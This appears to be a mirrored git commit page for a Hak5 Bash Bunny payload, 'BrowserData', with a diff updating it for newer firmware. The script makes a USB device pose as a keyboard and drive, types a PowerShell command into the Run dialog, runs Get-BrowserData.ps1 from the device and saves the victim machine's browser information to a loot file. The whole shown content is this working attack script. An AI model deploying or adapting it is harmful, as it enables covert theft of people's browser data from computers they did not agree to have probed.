mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
Updated browserData payload for firmware v1.1+ (#185)
* Fixed for 1.0 and 1.1 Fixed the payload for 1.0 but if you want it ported for 1.1, change line 38 to (LED M) * Made 1.1 compatible. Still need to examine Get-BrowserData.ps1
This commit is contained in:
@@ -1,4 +1,3 @@
|
|||||||
exit
|
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
#
|
#
|
||||||
# Title: BrowserData
|
# Title: BrowserData
|
||||||
@@ -14,24 +13,27 @@ exit
|
|||||||
# Blue...............Running Script
|
# Blue...............Running Script
|
||||||
# Purple.............Finished
|
# Purple.............Finished
|
||||||
|
|
||||||
# Source bunny_helpers.sh to get environment variable SWITCH_POSITION
|
# Not sure if this is the right variable. Feel free to change it.
|
||||||
source bunny_helpers.sh
|
|
||||||
|
|
||||||
LED R 200
|
ATTACKMODE HID STORAGE
|
||||||
|
|
||||||
|
GET SWITCH_POSITION
|
||||||
|
|
||||||
|
LED R SLOW
|
||||||
LOOTDIR=/root/udisk/loot/BrowserData
|
LOOTDIR=/root/udisk/loot/BrowserData
|
||||||
mkdir -p $LOOTDIR
|
mkdir -p $LOOTDIR
|
||||||
|
|
||||||
ATTACKMODE HID STORAGE
|
|
||||||
LED B 200
|
LED B SLOW
|
||||||
|
|
||||||
# wait 6 seconds for the storage to popup
|
# wait 6 seconds for the storage to popup
|
||||||
Q DELAY 6000
|
Q DELAY 6000
|
||||||
Q GUI r
|
Q GUI r
|
||||||
Q DELAY 100
|
Q DELAY 100
|
||||||
RUN WIN powershell \".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\Get-BrowserData.ps1'); $bunny =(gwmi win32_volume -f ’label=‘’BashBunny’’' | Select-Object -ExpandProperty DriveLetter); Get-BrowserInformation | Out-File -Append $bunny\loot\BrowserData\$env:computername.txt\"
|
Q STRING "powershell \".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\Get-BrowserData.ps1'); $bunny =(gwmi win32_volume -f ’label=‘’BashBunny’’' | Select-Object -ExpandProperty DriveLetter); Get-BrowserInformation | Out-File -Append $bunny\loot\BrowserData\$env:computername.txt\""
|
||||||
Q ENTER
|
Q ENTER
|
||||||
Q DELAY 2000
|
Q DELAY 2000
|
||||||
Q STRING exit
|
Q STRING exit
|
||||||
Q ENTER
|
Q ENTER
|
||||||
sync
|
sync
|
||||||
LED R B 200
|
LED M SLOW
|
||||||
|
|||||||
Reference in New Issue
Block a user